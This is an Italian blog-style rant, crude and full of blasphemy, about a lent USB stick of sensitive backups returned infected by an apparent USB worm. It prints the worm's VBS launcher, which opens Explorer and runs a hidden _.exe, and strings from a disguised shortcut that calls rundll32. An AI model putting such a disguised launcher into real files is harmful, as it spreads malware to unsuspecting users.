E’ una mattina come tante altre. Siamo a Luglio, fa un caldo INFERNALE e nel palazzo c’e’ pure un’infestazione di BLATTE.
Ebbene esaurito da tutto questo e dal lavoro del porchiddio ammetto che non ho prestato molta attenzione quando sei venuta a chiedermi una penna usb per andarti a stampare le cose per l’universita’.
Ho allungato la mano nello zaino e senza neanche distogliere lo sguardo da chissa’ che cazzo (non) stavo facendo ne ho agguantata UNA A CASO.
Tra tutte, proprio QUELLA.
"Quale? quella contenente il backup del vecchio pc che ancora devi ripristinare ormai da MESI? quella con tutto cio’ che non vorresti mai perdere o che finisca in altrui mani? Forse quella con il database delle password, chiavi private gpg, backup della posta, pin dell’INPS e TANTO ALTRO ANCORA?"
HAHHAHA
HAHHAHA
HHAHAHAHA
PORCO
DIO
P
O
R
C
O
D
I
O

Ecco in che stato mi e’ stata restituita.
$ ls -hal /mnt/usb0/
total 57K
drwxrwxrwx 1 root root 20K Jul 12 12:04 .
drwxr-xr-x 4 root root 4.0K Jul 14 19:12 ..
drwxrwxrwx 1 root root 24K Jul 12 12:03
-rwxrwxrwx 1 root root 0 Jul 12 12:05 autorun.inf
-rwxrwxrwx 2 root root 1.5K Jul 12 12:03 'penna (30GB).lnk'
drwxrwxrwx 1 root root 4.0K Apr 15 2020 'System Volume Information'
-rwxrwxrwx 1 root root 228 Jul 12 12:05 _.vbs
$ cat /mnt/usb0/_.vbs
Set WshShell = WScript.CreateObject("WScript.Shell")
SkriptPfad = WScript.ScriptFullName
SkriptPfad = Left(SkriptPfad, Len(SkriptPfad) - Len(WScript.ScriptName))
WshShell.Run "explorer.exe "+SkriptPfad
WshShell.Run "_.exe"
$ MANNAGGIA CRISTO
bash: MANNAGGIA: command not found
$ strings -el /mnt/usb0/penna\ \(30GB\).lnk
WINDOWS
system32
rundll32.exe
\xjtkac.jze,zozzeeeottoettzt!%SystemRoot%\system32\SHELL32.dll
\REGISTRY\MACHINE\SOFTWARE\Classes\CLS%windir%\System32\rundll32.exe
000000046}
\REGISTRY\USER\S-1-5-21-1123561945-1757981266-1547161642-1004_CLASSES\CLSID\{0
$ PUTTANA MADONNA
bash: PUTTANA: command not found
…
IO NON CI POSSO CREDERE
Dev’essere cosi che ci si sente a pucciare il cazzo in un buco di blatte e sifilide.
In questi casi la velocita’ di reazione e’ la chiave per mitigare il DISASTRO e che anche pochi minuti possono voler dire TANTO. Eppure sono qui a scrivere la lamentazione.
A piangere.
E ridere.
Ma soprattutto piangere.
In modo isterico.